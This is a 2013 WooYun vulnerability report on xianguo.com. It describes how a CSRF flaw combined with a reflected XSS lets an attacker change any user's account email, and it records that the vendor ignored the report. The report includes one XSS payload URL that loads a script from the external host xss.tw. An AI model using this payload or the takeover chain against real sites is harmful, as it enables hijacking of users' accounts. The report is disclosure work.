漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-032481
漏洞标题：鲜果网又能重置任意账号email了！
相关厂商：鲜果网
漏洞作者： c2c2
提交时间：2013-07-27 11:48
修复时间：2013-08-01 11:49
公开时间：2013-08-01 11:49
漏洞类型：CSRF
危害等级：高
自评Rank：15
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-07-27： 细节已通知厂商并且等待厂商处理中
2013-08-01： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
http://www.wooyun.org/bugs/wooyun-2010-016848
修补得不完善。
详细说明：
对比 WooYun: 咦！鲜果网也能重置妹子帐号了 ，发现鲜果修改email多了一步验证，如下图
这个验证是在输入新邮箱点确定之后刷新页面才出来的，那就是说在修改邮箱之后要再请求一次http://xianguo.com/setting/change-email这个页面，才会发送邮件到新邮箱。
这里还用到了一个反射型的XSS，在
于是改email，抓包，放进xss.js，ajax发个post，再用xss.js来个iframe请求一下页面，一封确认邮件发到了我的邮箱。
xss.tw里的代码：
这个漏洞的利用很简单，让别人登录了鲜果的同时打开有XSS的http://xianguo.com/service/submitfav/?link=http://%22%3E%3C/a%3E%3Cscript%20src=//xss.tw/****%3E%3C/script%3E%3Ca%20%22，然后就可以到邮箱里收邮件啦~
漏洞证明：
修复方案：
亲这么重要的操作不设个验证码？
你懂的
版权声明：转载请注明来源 c2c2@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2013-08-01 11:49
厂商回复：
最新状态：
暂无